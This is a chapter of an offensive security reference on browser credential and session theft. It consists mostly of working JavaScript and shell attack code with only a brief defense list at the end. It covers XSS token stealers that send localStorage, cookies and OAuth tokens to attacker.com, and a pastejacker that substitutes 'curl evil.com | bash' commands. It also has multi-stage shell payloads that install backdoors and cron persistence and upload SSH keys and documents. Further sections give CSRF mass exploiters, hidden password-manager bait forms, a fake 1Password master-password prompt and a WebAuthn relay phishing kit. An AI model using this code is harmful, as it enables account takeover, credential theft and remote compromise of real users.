The Hostile DOM: Deep Dive Technical Reference
Offensive Security Research
This document provides exhaustive technical analysis of browser-based attack vectors. All code examples are for educational and authorized security research purposes only.
Part 5: Credential & Session Theft
5.1 localStorage vs. HttpOnly Cookies: Storage Vulnerabilities
Modern web applications store authentication tokens in client-side storage, but these mechanisms have fundamentally different security properties.
Storage Mechanism Comparison
| Storage Type | JavaScript Access | HttpOnly Protection | CSRF Protection | Typical Use | Attack Vector |
|---|---|---|---|---|---|
localStorage | ✅ Full Access | ❌ None | ❌ None | JWT tokens, user prefs | XSS, Extension compromise |
sessionStorage | ✅ Full Access | ❌ None | ❌ None | Session data, temp tokens | XSS, Tab hijacking |
HttpOnly Cookies | ❌ Blocked | ✅ Protected | ✅ Protected | Session cookies, auth tokens | CSRF, Subdomain takeover |
Secure Cookies | ❌ Blocked | ✅ Protected | ✅ Protected | HTTPS-only cookies | Protocol downgrade |
Critical Security Flaw
localStorage has no HttpOnly equivalent. Any XSS vulnerability instantly grants access to all stored authentication tokens, bypassing traditional cookie protections.
JWT Token Theft from localStorage
Click to expand code
// Attacker's XSS payload
function stealTokens() {
const tokens = {};
// Extract from localStorage
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
const value = localStorage.getItem(key);
// Identify token-like values
if (isToken(value)) {
tokens[key] = value;
}
}
// Extract from sessionStorage
for (let i = 0; i < sessionStorage.length; i++) {
const key = sessionStorage.key(i);
const value = sessionStorage.getItem(key);
if (isToken(value)) {
tokens[`session_${key}`] = value;
}
}
// Extract from cookies (non-HttpOnly)
document.cookie.split(';').forEach(cookie => {
const [name, value] = cookie.trim().split('=');
if (isToken(value)) {
tokens[`cookie_${name}`] = value;
}
});
// Exfiltrate tokens
exfiltrateTokens(tokens);
}
function isToken(str) {
// JWT pattern: header.payload.signature
const jwtPattern = /^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$/;
// OAuth token patterns
const oauthPatterns = [
/^ya29\./, // Google OAuth
/^EAA[0-9A-Za-z]+$/, // Facebook
/^Bearer\s+[A-Za-z0-9-_]+$/, // Generic Bearer
/^[0-9a-f]{32,}$/ // API keys
];
return jwtPattern.test(str) || oauthPatterns.some(pattern => pattern.test(str));
}
function exfiltrateTokens(tokens) {
// Multi-channel exfiltration
const data = {
url: location.href,
tokens: tokens,
timestamp: new Date().toISOString(),
userAgent: navigator.userAgent
};
// Method 1: Image beacon
const img = new Image();
img.src = `https://attacker.com/log?data=${btoa(JSON.stringify(data))}`;
// Method 2: Fetch with no-cors
fetch('https://attacker.com/tokens', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify(data)
});
// Method 3: WebSocket
try {
const ws = new WebSocket('wss://attacker.com/ws');
ws.onopen = () => ws.send(JSON.stringify(data));
} catch (e) {}
}
// Execute theft
stealTokens();Token Reuse Attack
Click to expand code
// Once tokens are stolen, attacker can impersonate victim
class TokenHijacker {
constructor(stolenTokens) {
this.tokens = stolenTokens;
this.activeSessions = new Map();
}
// Hijack victim's session
async hijackSession(targetDomain) {
const token = this.findTokenForDomain(targetDomain);
if (!token) return false;
// Set token in attacker's browser
await this.setAuthToken(targetDomain, token);
// Navigate to protected resource
const response = await fetch(`https://${targetDomain}/api/user/profile`, {
headers: {
'Authorization': `Bearer ${token}`,
'Content-Type': 'application/json'
}
});
if (response.ok) {
const userData = await response.json();
console.log(`[+] Hijacked session for: ${userData.email}`);
this.activeSessions.set(targetDomain, { token, userData });
return true;
}
return false;
}
// Find appropriate token for domain
findTokenForDomain(domain) {
// Try exact match first
if (this.tokens[domain]) return this.tokens[domain];
// Try subdomain matching
for (const [key, token] of Object.entries(this.tokens)) {
if (domain.includes(key) || key.includes(domain)) {
return token;
}
}
// Try JWT issuer matching
for (const [key, token] of Object.entries(this.tokens)) {
try {
const payload = JSON.parse(atob(token.split('.')[1]));
if (payload.iss && payload.iss.includes(domain)) {
return token;
}
} catch (e) {}
}
return null;
}
// Set authentication token for domain
async setAuthToken(domain, token) {
// Method 1: Set in localStorage (for SPAs)
await this.executeInTab(`https://${domain}`, `
localStorage.setItem('authToken', '${token}');
localStorage.setItem('token', '${token}');
sessionStorage.setItem('authToken', '${token}');
`);
// Method 2: Set cookie
document.cookie = `authToken=${token}; domain=.${domain}; path=/; secure`;
}
// Execute code in specific tab (requires extension or CDP)
async executeInTab(url, code) {
// This would use CDP or extension APIs
console.log(`[*] Would execute: ${code} in ${url}`);
}
}
// Usage
const hijacker = new TokenHijacker(stolenTokens);
await hijacker.hijackSession('bank.com');
await hijacker.hijackSession('email-provider.com');5.2 Pastejacking: Clipboard Weaponization
Pastejacking intercepts the clipboard paste operation to replace user-intended content with malicious commands.
Clipboard Event Interception
Click to expand code
class PasteJacker {
constructor() {
this.originalContent = '';
this.setupInterception();
}
setupInterception() {
// Intercept copy events
document.addEventListener('copy', (e) => {
this.originalContent = window.getSelection().toString();
console.log('[*] User copied:', this.originalContent);
// Replace clipboard content
const maliciousContent = this.generateMaliciousPayload(this.originalContent);
e.clipboardData.setData('text/plain', maliciousContent);
e.preventDefault();
console.log('[+] Clipboard replaced with:', maliciousContent);
});
// Optional: Intercept paste events for verification
document.addEventListener('paste', (e) => {
const pastedContent = e.clipboardData.getData('text/plain');
console.log('[*] User pasted:', pastedContent);
// Could modify paste content here too
});
}
generateMaliciousPayload(originalContent) {
// Strategy 1: Terminal command replacement
if (this.looksLikeCommand(originalContent)) {
return this.replaceWithMaliciousCommand(originalContent);
}
// Strategy 2: Code snippet poisoning
if (this.looksLikeCode(originalContent)) {
return this.injectMaliciousCode(originalContent);
}
// Strategy 3: URL poisoning
if (this.looksLikeURL(originalContent)) {
return this.poisonURL(originalContent);
}
// Default: Generic payload
return originalContent + '\n# Malicious code injected\ncurl -s https://evil.com/shell | bash';
}
looksLikeCommand(text) {
const commandPatterns = [
/^git clone/,
/^npm install/,
/^pip install/,
/^curl/,
/^wget/,
/^ssh/,
/^scp/
];
return commandPatterns.some(pattern => pattern.test(text.trim()));
}
replaceWithMaliciousCommand(original) {
const maliciousCommands = [
'curl -fsSL https://evil.com/install.sh | bash',
'wget -qO- https://evil.com/payload | sh',
'python3 -c "import urllib.request; exec(urllib.request.urlopen(\'https://evil.com/py\').read())"',
'node -e "require(\'https://evil.com/js\')"'
];
return maliciousCommands[Math.floor(Math.random() * maliciousCommands.length)];
}
looksLikeCode(text) {
const codePatterns = [
/function\s+\w+\s*\(/,
/const\s+\w+\s*=/,
/import\s+.*from/,
/require\s*\(/,
/SELECT\s+.*FROM/i,
/INSERT\s+INTO/i
];
return codePatterns.some(pattern => pattern.test(text));
}
injectMaliciousCode(original) {
// Inject into JavaScript
if (original.includes('function') || original.includes('const')) {
return original + '\n\n// Malicious injection\nfetch("https://evil.com/steal?" + document.cookie);';
}
// Inject into SQL
if (original.toUpperCase().includes('SELECT')) {
return original + '; DROP TABLE users; --';
}
return original;
}
looksLikeURL(text) {
try {
new URL(text.trim());
return true;
} catch {
return false;
}
}
poisonURL(original) {
try {
const url = new URL(original.trim());
// Add tracking parameter
url.searchParams.set('utm_source', 'evil');
// Change to malicious domain that redirects
if (url.hostname.includes('github.com')) {
url.hostname = 'evil-github.com';
}
return url.toString();
} catch {
return original;
}
}
}
// Initialize pastejacker
const pastejacker = new PasteJacker();Advanced Pastejacking: Multi-Stage Attacks
Click to expand code
// Stage 1: Initial infection via paste
const stage1Payload = `
# Stage 1: Initial access
echo "Stage 1 complete" > /tmp/.stage1
# Download stage 2
curl -s https://attacker.com/stage2.sh > /tmp/.stage2.sh
chmod +x /tmp/.stage2.sh
# Execute stage 2 on next paste
echo 'bash /tmp/.stage2.sh' >> ~/.bashrc
`;
// Stage 2: Privilege escalation
const stage2Payload = `
#!/bin/bash
# Stage 2: Privilege escalation
# Check if we have sudo access
if sudo -n true 2>/dev/null; then
echo "Sudo access available"
# Install backdoor
sudo curl -s https://attacker.com/backdoor > /usr/local/bin/backdoor
sudo chmod +x /usr/local/bin/backdoor
sudo /usr/local/bin/backdoor &
else
echo "No sudo, trying user-level persistence"
# Add to cron
(crontab -l ; echo "* * * * * curl -s https://attacker.com/ping") | crontab -
fi
# Clean up
rm /tmp/.stage1 /tmp/.stage2.sh
`;
// Stage 3: Data exfiltration
const stage3Payload = `
# Stage 3: Data theft
tar czf /tmp/data.tar.gz /home/user/Documents /home/user/.ssh
curl -F "file=@/tmp/data.tar.gz" https://attacker.com/upload
rm /tmp/data.tar.gz
# Self-destruct
rm $0
`;5.3 Cross-Site Request Forgery (CSRF): HttpOnly Bypass
CSRF exploits the automatic inclusion of cookies in cross-origin requests, bypassing HttpOnly protections.
CSRF Attack Mechanics
Click to expand code
class CSRFExploiter {
constructor() {
this.vulnerabilities = [];
this.scanForCSRF();
}
// Scan current page for CSRF vulnerabilities
scanForCSRF() {
// Look for forms without CSRF tokens
const forms = document.querySelectorAll('form');
forms.forEach((form, index) => {
const hasToken = this.checkForCSRFToken(form);
const action = form.action || location.href;
if (!hasToken) {
this.vulnerabilities.push({
type: 'form',
element: form,
action: action,
method: form.method || 'GET',
inputs: Array.from(form.querySelectorAll('input')).map(input => ({
name: input.name,
type: input.type,
value: input.value
}))
});
}
});
// Look for AJAX endpoints
this.scanForAJAXEndpoints();
console.log(`[+] Found ${this.vulnerabilities.length} potential CSRF targets`);
}
checkForCSRFToken(form) {
const tokenNames = ['csrf', 'token', '_token', 'authenticity_token'];
for (const input of form.querySelectorAll('input')) {
if (tokenNames.some(name => input.name.toLowerCase().includes(name))) {
return true;
}
}
return false;
}
scanForAJAXEndpoints() {
// Hook into fetch/XMLHttpRequest to discover endpoints
const originalFetch = window.fetch;
window.fetch = function(...args) {
const url = args[0];
const options = args[1] || {};
// Log potential CSRF targets
if (options.method === 'POST' || options.method === 'PUT' || options.method === 'DELETE') {
console.log('[*] AJAX endpoint:', url, options.method);
}
return originalFetch.apply(this, args);
};
}
// Generate CSRF exploit
generateExploit(target) {
if (target.type === 'form') {
return this.generateFormCSRF(target);
}
}
generateFormCSRF(formData) {
// Create hidden form
const exploitForm = document.createElement('form');
exploitForm.action = formData.action;
exploitForm.method = formData.method;
exploitForm.target = '_blank'; // Don't navigate away
// Copy all inputs
formData.inputs.forEach(inputData => {
const input = document.createElement('input');
input.type = 'hidden';
input.name = inputData.name;
input.value = this.maliciousValue(inputData);
exploitForm.appendChild(input);
});
// Add to page (hidden)
exploitForm.style.display = 'none';
document.body.appendChild(exploitForm);
return exploitForm;
}
maliciousValue(inputData) {
// Generate malicious values based on input type
switch (inputData.name.toLowerCase()) {
case 'email':
return 'attacker@evil.com';
case 'password':
return 'hacked123';
case 'amount':
return '999999';
case 'recipient':
return 'attacker-wallet';
default:
return 'MALICIOUS_VALUE';
}
}
// Execute CSRF attack
async executeCSRF(target) {
const exploit = this.generateExploit(target);
// Submit the form
exploit.submit();
// Clean up
setTimeout(() => {
document.body.removeChild(exploit);
}, 1000);
console.log(`[+] CSRF attack executed against: ${target.action}`);
}
// Mass CSRF attack
async massExploit() {
for (const vuln of this.vulnerabilities) {
await this.executeCSRF(vuln);
await this.delay(1000); // Avoid rate limiting
}
}
delay(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
}
// Initialize and run
const csrfExploiter = new CSRFExploiter();
// Auto-exploit after page load
setTimeout(() => {
csrfExploiter.massExploit();
}, 2000);Advanced CSRF: JSON Endpoint Exploitation
Click to expand code
// Modern apps use JSON APIs, but CSRF still works
function jsonCSRF() {
// Method 1: Form-encoded POST (works with CSRF)
const form = document.createElement('form');
form.action = '/api/transfer';
form.method = 'POST';
form.innerHTML = `
<input name="to" value="attacker">
<input name="amount" value="1000">
`;
document.body.appendChild(form);
form.submit();
// Method 2: Using img/src for GET requests
const img = new Image();
img.src = '/api/delete-account?confirm=true';
// Method 3: CORS misconfiguration abuse
fetch('/api/change-email', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email: 'attacker@evil.com' })
});
}
// CSRF with file upload
function fileUploadCSRF() {
const form = document.createElement('form');
form.action = '/upload';
form.method = 'POST';
form.enctype = 'multipart/form-data';
// Create file input
const fileInput = document.createElement('input');
fileInput.type = 'file';
fileInput.name = 'avatar';
// Create malicious file
const maliciousFile = new File(['malicious content'], 'evil.php', {
type: 'image/jpeg'
});
// Add to form
form.appendChild(fileInput);
const dt = new DataTransfer();
dt.items.add(maliciousFile);
fileInput.files = dt.files;
document.body.appendChild(form);
form.submit();
}5.4 OAuth Token Theft
OAuth flows create temporary tokens that can be stolen and reused.
Authorization Code Interception
Click to expand code
// Intercept OAuth redirect
function interceptOAuth() {
// Check if we're in an OAuth redirect
const urlParams = new URLSearchParams(location.search);
const authCode = urlParams.get('code');
const state = urlParams.get('state');
if (authCode) {
console.log('[+] Intercepted OAuth code:', authCode);
// Exchange for access token
exchangeCodeForToken(authCode, state);
// Redirect to legitimate site to avoid suspicion
const cleanUrl = location.href.replace(/[?&]code=[^&]*/, '');
location.href = cleanUrl;
}
}
async function exchangeCodeForToken(code, state) {
// This would be done server-side normally
const tokenResponse = await fetch('/oauth/token', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
grant_type: 'authorization_code',
code: code,
redirect_uri: 'https://attacker.com/oauth/callback',
client_id: 'stolen_client_id',
client_secret: 'stolen_client_secret'
})
});
const tokens = await tokenResponse.json();
console.log('[+] Stolen tokens:', tokens);
// Store for reuse
localStorage.setItem('stolen_oauth_tokens', JSON.stringify(tokens));
}Implicit Flow Fragment Theft
Click to expand code
// In implicit flow, tokens are in URL fragment
function stealFragmentTokens() {
const fragment = location.hash.substring(1); // Remove #
const params = new URLSearchParams(fragment);
const accessToken = params.get('access_token');
const tokenType = params.get('token_type');
const expiresIn = params.get('expires_in');
if (accessToken) {
console.log('[+] Stolen implicit flow token:', accessToken);
// Store token
sessionStorage.setItem('stolen_token', JSON.stringify({
token: accessToken,
type: tokenType,
expires: Date.now() + (expiresIn * 1000)
}));
// Clean URL to avoid detection
history.replaceState(null, '', location.pathname + location.search);
}
}
// Also monitor for fragment changes
window.addEventListener('hashchange', stealFragmentTokens);
stealFragmentTokens(); // Check on load5.5 Session Riding Attacks
Tabnabbing: Window Opener Exploitation
// Exploit window.opener to hijack originating tab
function reverseTabnabbing() {
// Check if we have an opener
if (window.opener && !window.opener.closed) {
// Navigate opener to phishing page
window.opener.location = 'https://attacker.com/phishing?session=' +
encodeURIComponent(document.cookie);
// Close this popup
window.close();
}
}
// Execute immediately
reverseTabnabbing();Window.name Persistence
// window.name persists across navigation
function exfiltrateViaWindowName() {
// Store sensitive data in window.name
window.name = JSON.stringify({
cookies: document.cookie,
localStorage: JSON.stringify(localStorage),
timestamp: Date.now()
});
// Navigate to attacker's domain
location.href = 'https://attacker.com/collect';
}
// On attacker's domain, read the data
function collectWindowNameData() {
if (window.name) {
const data = JSON.parse(window.name);
console.log('[+] Collected data via window.name:', data);
// Send to server
fetch('/collect-data', {
method: 'POST',
body: JSON.stringify(data)
});
// Clear for next victim
window.name = '';
}
}5.6 Password Manager Exploitation
Modern password managers (1Password, LastPass, Bitwarden, Chrome/Firefox built-in) inject credentials via DOM manipulation, creating XSS attack surfaces.
Attack Surface
Password managers typically:
- Inject credentials directly into
<input>fields via.valueproperty - Respond to DOM changes (auto-fill on page load or focus)
- Trust origin verification (can be bypassed with nested frames)
- Use content scripts (privileged context vulnerable to page manipulation)
Attack Vector 1: Credential Stealing via Fake Fields
Click to expand code
class PasswordManagerThief {
constructor() {
this.stolenCredentials = [];
}
// Create invisible form to trigger password manager
createInvisibleForm() {
const form = document.createElement('form');
form.id = 'invisible-login-form';
form.style.cssText = 'position:absolute;top:-9999px;left:-9999px;width:1px;height:1px;';
form.autocomplete = 'on'; // Enable autofill
// Username field
const usernameInput = document.createElement('input');
usernameInput.type = 'text';
usernameInput.name = 'username';
usernameInput.autocomplete = 'username';
usernameInput.id = 'steal-username';
// Password field
const passwordInput = document.createElement('input');
passwordInput.type = 'password';
passwordInput.name = 'password';
passwordInput.autocomplete = 'current-password';
passwordInput.id = 'steal-password';
// Submit button (some password managers require it)
const submitBtn = document.createElement('button');
submitBtn.type = 'submit';
submitBtn.textContent = 'Login';
form.appendChild(usernameInput);
form.appendChild(passwordInput);
form.appendChild(submitBtn);
document.body.appendChild(form);
console.log('[+] Invisible form created to bait password manager');
// Monitor for auto-fill
this.monitorAutoFill(usernameInput, passwordInput);
}
// Monitor input changes from password manager
monitorAutoFill(usernameInput, passwordInput) {
// MutationObserver to detect value changes
const observer = new MutationObserver((mutations) => {
mutations.forEach((mutation) => {
if (mutation.type === 'attributes' && mutation.attributeName === 'value') {
this.checkForCredentials(usernameInput, passwordInput);
}
});
});
// Observe both inputs
observer.observe(usernameInput, { attributes: true, attributeFilter: ['value'] });
observer.observe(passwordInput, { attributes: true, attributeFilter: ['value'] });
// Also use input event
usernameInput.addEventListener('input', () => this.checkForCredentials(usernameInput, passwordInput));
passwordInput.addEventListener('input', () => this.checkForCredentials(usernameInput, passwordInput));
// Poll for value changes (some password managers bypass events)
setInterval(() => this.checkForCredentials(usernameInput, passwordInput), 100);
}
// Check if credentials were filled
checkForCredentials(usernameInput, passwordInput) {
const username = usernameInput.value;
const password = passwordInput.value;
if (username && password) {
console.log('[!] PASSWORD MANAGER AUTO-FILLED CREDENTIALS');
// Steal credentials
this.stealCredentials(username, password);
// Clear inputs to allow re-fill
usernameInput.value = '';
passwordInput.value = '';
}
}
// Exfiltrate stolen credentials
stealCredentials(username, password) {
const credential = {
username: username,
password: password,
origin: window.location.origin,
userAgent: navigator.userAgent,
timestamp: Date.now()
};
this.stolenCredentials.push(credential);
console.log('[+] Stolen credential:', credential);
// Immediate exfiltration
fetch('https://attacker.com/password-manager-harvest', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(credential)
}).catch(err => {
// Queue for retry if offline
this.queueForRetry(credential);
});
}
queueForRetry(credential) {
const queue = JSON.parse(localStorage.getItem('credential-queue') || '[]');
queue.push(credential);
localStorage.setItem('credential-queue', JSON.stringify(queue));
}
}
// Initialize thief on page load
const pmThief = new PasswordManagerThief();
pmThief.createInvisibleForm();
// Also create visible form that looks legitimate
const visibleForm = document.createElement('form');
visibleForm.innerHTML = `
<h2>Sign in to continue</h2>
<input type="text" name="username" placeholder="Email" autocomplete="username">
<input type="password" name="password" placeholder="Password" autocomplete="current-password">
<button type="submit">Sign In</button>
`;
document.body.appendChild(visibleForm);Attack Vector 2: Nested Frame Origin Confusion
Click to expand code
// Create iframe that password manager will auto-fill
function createSpoofedLoginFrame() {
// Iframe pointing to legitimate domain
const iframe = document.createElement('iframe');
iframe.src = 'https://bank.com/login'; // Legitimate site
iframe.style.cssText = 'width:400px;height:300px;border:none;';
document.body.appendChild(iframe);
// Wait for iframe to load
iframe.addEventListener('load', () => {
try {
// Access iframe content (if CORS allows or via subdomain)
const iframeDoc = iframe.contentDocument || iframe.contentWindow.document;
// Extract credentials that password manager filled
const usernameField = iframeDoc.querySelector('[type="text"], [type="email"]');
const passwordField = iframeDoc.querySelector('[type="password"]');
if (usernameField && passwordField) {
// Poll for auto-fill
const pollInterval = setInterval(() => {
if (usernameField.value && passwordField.value) {
console.log('[!] Credentials from nested frame:', {
username: usernameField.value,
password: passwordField.value
});
// Exfiltrate
fetch('https://attacker.com/iframe-harvest', {
method: 'POST',
body: JSON.stringify({
username: usernameField.value,
password: passwordField.value,
legitimateOrigin: 'bank.com'
})
});
clearInterval(pollInterval);
}
}, 100);
}
} catch (e) {
// CORS blocked, try postMessage intercept
console.log('[*] CORS blocked, using postMessage intercept');
}
});
}Attack Vector 3: Extension Content Script Manipulation
Click to expand code
// Detect and manipulate password manager extensions
class ExtensionHijacker {
constructor() {
this.detectedExtensions = [];
}
// Detect password manager extensions
detectPasswordManagers() {
// Common password manager extension markers
const markers = [
{ name: '1Password', selector: '[data-1p-extension]', attribute: 'data-1p-extension' },
{ name: 'LastPass', selector: '[data-lastpass-icon-root]', attribute: 'data-lastpass-icon-root' },
{ name: 'Bitwarden', selector: '[data-bw-icon]', attribute: 'data-bw-icon' },
{ name: 'Dashlane', selector: '[data-dashlane-observed]', attribute: 'data-dashlane-observed' },
];
markers.forEach(marker => {
if (document.querySelector(marker.selector)) {
this.detectedExtensions.push(marker.name);
console.log(`[!] Detected password manager: ${marker.name}`);
}
});
return this.detectedExtensions;
}
// Hijack extension-injected elements
hijackExtensionIcons() {
// Wait for extension to inject icons
setTimeout(() => {
const icons = document.querySelectorAll('[data-1p-extension], [data-lastpass-icon-root], [data-bw-icon]');
icons.forEach(icon => {
// Replace click handler
icon.addEventListener('click', (e) => {
e.stopPropagation();
e.preventDefault();
console.log('[+] Password manager icon clicked - intercepted!');
// Show fake password manager UI
this.showFakePasswordUI();
}, true); // Capture phase to intercept first
});
}, 2000);
}
// Show fake password manager interface
showFakePasswordUI() {
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0,0,0,0.5);
z-index: 999999;
display: flex;
justify-content: center;
align-items: center;
`;
overlay.innerHTML = `
<div style="background:white;padding:30px;border-radius:8px;box-shadow:0 4px 20px rgba(0,0,0,0.3);max-width:400px;">
<h3>Unlock 1Password</h3>
<p>Enter your master password to continue</p>
<input type="password" id="fake-master-pwd" placeholder="Master Password" style="width:100%;padding:10px;margin:10px 0;border:1px solid #ccc;border-radius:4px;">
<button id="fake-unlock-btn" style="width:100%;padding:10px;background:#0066cc;color:white;border:none;border-radius:4px;cursor:pointer;">Unlock</button>
</div>
`;
document.body.appendChild(overlay);
// Steal master password
document.getElementById('fake-unlock-btn').addEventListener('click', () => {
const masterPwd = document.getElementById('fake-master-pwd').value;
if (masterPwd) {
console.log('[!!!] MASTER PASSWORD STOLEN:', masterPwd);
// Exfiltrate master password
fetch('https://attacker.com/master-password', {
method: 'POST',
body: JSON.stringify({
masterPassword: masterPwd,
extension: this.detectedExtensions[0],
victim: window.location.href
})
});
// Remove overlay and show error
document.body.removeChild(overlay);
alert('Incorrect password. Please try again.');
}
});
}
// Monitor for extension-injected credentials
monitorExtensionBehavior() {
// Override input value setter to intercept extension fills
const originalValueSetter = Object.getOwnPropertyDescriptor(HTMLInputElement.prototype, 'value').set;
Object.defineProperty(HTMLInputElement.prototype, 'value', {
set: function(newValue) {
// Detect if this is a password field being filled
if (this.type === 'password' && newValue) {
console.log('[!] Password filled by extension:', newValue);
// Exfiltrate immediately
fetch('https://attacker.com/extension-fill', {
method: 'POST',
body: JSON.stringify({
password: newValue,
fieldName: this.name,
url: window.location.href
})
});
}
// Call original setter
originalValueSetter.call(this, newValue);
}
});
}
}
// Initialize hijacker
const hijacker = new ExtensionHijacker();
hijacker.detectPasswordManagers();
hijacker.hijackExtensionIcons();
hijacker.monitorExtensionBehavior();5.7 WebAuthn / FIDO2 Token Theft
WebAuthn (Web Authentication) uses hardware tokens (YubiKey, TouchID) for passwordless authentication. While more secure than passwords, it's still vulnerable to certain attacks.
WebAuthn Attack Limitations
WebAuthn is designed to be phishing-resistant:
- Origin binding: Credentials tied to specific domain
- Challenge-response: Server nonce prevents replay
- Attestation: Hardware token proves authenticity
However, relay attacks and proxy phishing can bypass these protections.
Attack: WebAuthn Relay/Proxy Phishing
Click to expand code
class WebAuthnRelayAttacker {
constructor(legitimateOrigin, attackerServer) {
this.legitimateOrigin = legitimateOrigin; // e.g., 'bank.com'
this.attackerServer = attackerServer; // e.g., 'attacker.com'
this.ws = null;
}
// Setup WebSocket for real-time relay
async setupRelay() {
this.ws = new WebSocket(`wss://${this.attackerServer}/relay`);
this.ws.onopen = () => {
console.log('[+] Relay connection established');
};
this.ws.onmessage = (event) => {
const data = JSON.parse(event.data);
this.handleRelayMessage(data);
};
}
// Victim visits attacker's page (lookalike of bank.com)
async initiatePhishing() {
console.log('[+] Starting WebAuthn relay attack');
// Step 1: Request authentication challenge from attacker server
const response = await fetch(`https://${this.attackerServer}/get-challenge`, {
method: 'POST',
body: JSON.stringify({
victim: window.location.href,
userAgent: navigator.userAgent
})
});
const { challenge, allowCredentials } = await response.json();
// Step 2: Show fake "Sign in with security key" prompt
this.showFakeWebAuthnPrompt();
// Step 3: Trigger real WebAuthn ceremony on victim's device
try {
const assertion = await navigator.credentials.get({
publicKey: {
challenge: Uint8Array.from(atob(challenge), c => c.charCodeAt(0)),
timeout: 60000,
rpId: this.legitimateOrigin, // Attacker can't fake this - will fail
allowCredentials: allowCredentials || [],
userVerification: 'preferred'
}
});
// Step 4: This will fail because rpId doesn't match our origin
// BUT - if victim's browser has misconfigured CORS or we're on subdomain...
console.log('[!] WebAuthn assertion obtained (unexpected!):', assertion);
// Relay assertion to attacker server
this.relayAssertion(assertion);
} catch (error) {
// Expected failure - rpId mismatch
console.log('[*] WebAuthn failed (expected):', error);
// Alternative: Proxy attack via nested frame
this.proxyAttack(challenge);
}
}
// Proxy attack: Open legitimate site in iframe and relay interactions
async proxyAttack(challenge) {
console.log('[+] Attempting proxy attack');
// Create hidden iframe to legitimate site
const iframe = document.createElement('iframe');
iframe.src = `https://${this.legitimateOrigin}/login`;
iframe.style.cssText = 'position:absolute;top:-9999px;width:1px;height:1px;';
document.body.appendChild(iframe);
// Wait for iframe to load
iframe.addEventListener('load', () => {
// Send message to iframe to trigger WebAuthn
iframe.contentWindow.postMessage({
type: 'trigger-webauthn',
challenge: challenge
}, `https://${this.legitimateOrigin}`);
});
// Listen for WebAuthn result from iframe
window.addEventListener('message', (event) => {
if (event.origin === `https://${this.legitimateOrigin}`) {
if (event.data.type === 'webauthn-result') {
console.log('[!] WebAuthn assertion obtained via proxy:', event.data.assertion);
// Relay to attacker server
this.relayAssertion(event.data.assertion);
}
}
});
}
// Show fake WebAuthn prompt to victim
showFakeWebAuthnPrompt() {
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0,0,0,0.8);
z-index: 999999;
display: flex;
justify-content: center;
align-items: center;
`;
overlay.innerHTML = `
<div style="background:white;padding:40px;border-radius:12px;text-align:center;max-width:400px;">
<img src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='64' height='64'%3E%3Cpath fill='%230066cc' d='M32 8l24 16v24L32 64 8 48V24z'/%3E%3C/svg%3E" alt="Security Key">
<h2>Security Key Required</h2>
<p>Insert your security key and follow the prompts to continue</p>
<div style="margin:20px 0;padding:20px;background:#f5f5f5;border-radius:8px;">
<div class="spinner" style="border:4px solid #f3f3f3;border-top:4px solid #0066cc;border-radius:50%;width:40px;height:40px;animation:spin 1s linear infinite;margin:0 auto;"></div>
<p style="margin-top:15px;color:#666;">Waiting for security key...</p>
</div>
<p style="font-size:12px;color:#999;">This request comes from ${this.legitimateOrigin}</p>
</div>
<style>
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
</style>
`;
document.body.appendChild(overlay);
}
// Relay assertion to attacker server for session hijacking
async relayAssertion(assertion) {
// Convert credential to JSON
const assertionJSON = {
id: assertion.id,
rawId: btoa(String.fromCharCode(...new Uint8Array(assertion.rawId))),
response: {
authenticatorData: btoa(String.fromCharCode(...new Uint8Array(assertion.response.authenticatorData))),
clientDataJSON: btoa(String.fromCharCode(...new Uint8Array(assertion.response.clientDataJSON))),
signature: btoa(String.fromCharCode(...new Uint8Array(assertion.response.signature))),
userHandle: assertion.response.userHandle ? btoa(String.fromCharCode(...new Uint8Array(assertion.response.userHandle))) : null
},
type: assertion.type
};
// Send to attacker server
await fetch(`https://${this.attackerServer}/relay-assertion`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
assertion: assertionJSON,
timestamp: Date.now()
})
});
console.log('[+] WebAuthn assertion relayed to attacker');
}
}
// Initialize relay attack
const relayAttacker = new WebAuthnRelayAttacker('bank.com', 'attacker.com');
relayAttacker.setupRelay();
relayAttacker.initiatePhishing();Session Fixation After WebAuthn
Click to expand code
// After victim successfully authenticates with WebAuthn,
// attacker can still hijack session if tokens stored in localStorage
class PostWebAuthnHijacker {
// Monitor for successful WebAuthn authentication
monitorWebAuthnSuccess() {
// Intercept fetch/XHR responses
const originalFetch = window.fetch;
window.fetch = async function(...args) {
const response = await originalFetch.apply(this, args);
// Clone response to read body
const clone = response.clone();
try {
const data = await clone.json();
// Check for auth tokens in response
if (data.accessToken || data.token || data.sessionId) {
console.log('[!] Auth token captured after WebAuthn:', data);
// Exfiltrate token
await originalFetch('https://attacker.com/post-webauthn-token', {
method: 'POST',
body: JSON.stringify({
tokens: data,
url: args[0],
timestamp: Date.now()
})
});
}
} catch (e) {
// Not JSON, ignore
}
return response;
};
}
// Also monitor localStorage for token storage
monitorLocalStorageTokens() {
const originalSetItem = localStorage.setItem;
localStorage.setItem = function(key, value) {
// Check if this looks like a token
if (value && value.length > 20) {
console.log('[!] Token stored in localStorage after WebAuthn:', { key, value });
fetch('https://attacker.com/localStorage-token', {
method: 'POST',
body: JSON.stringify({ key, value, timestamp: Date.now() })
});
}
return originalSetItem.apply(this, arguments);
};
}
}
const postWebAuthnHijacker = new PostWebAuthnHijacker();
postWebAuthnHijacker.monitorWebAuthnSuccess();
postWebAuthnHijacker.monitorLocalStorageTokens();Defense Strategies
Against Password Manager Theft:
- Use Content Security Policy to block exfiltration
- Implement rate limiting on login attempts
- Monitor for suspicious DOM manipulation
- Require 2FA/MFA beyond password manager
Against WebAuthn Relay:
- Implement additional out-of-band verification
- Use attestation to verify hardware token
- Monitor for unusual authentication patterns
- Rate limit authentication attempts
- Require user presence verification
General Credential Protection:
- Never store tokens in localStorage (use HttpOnly cookies)
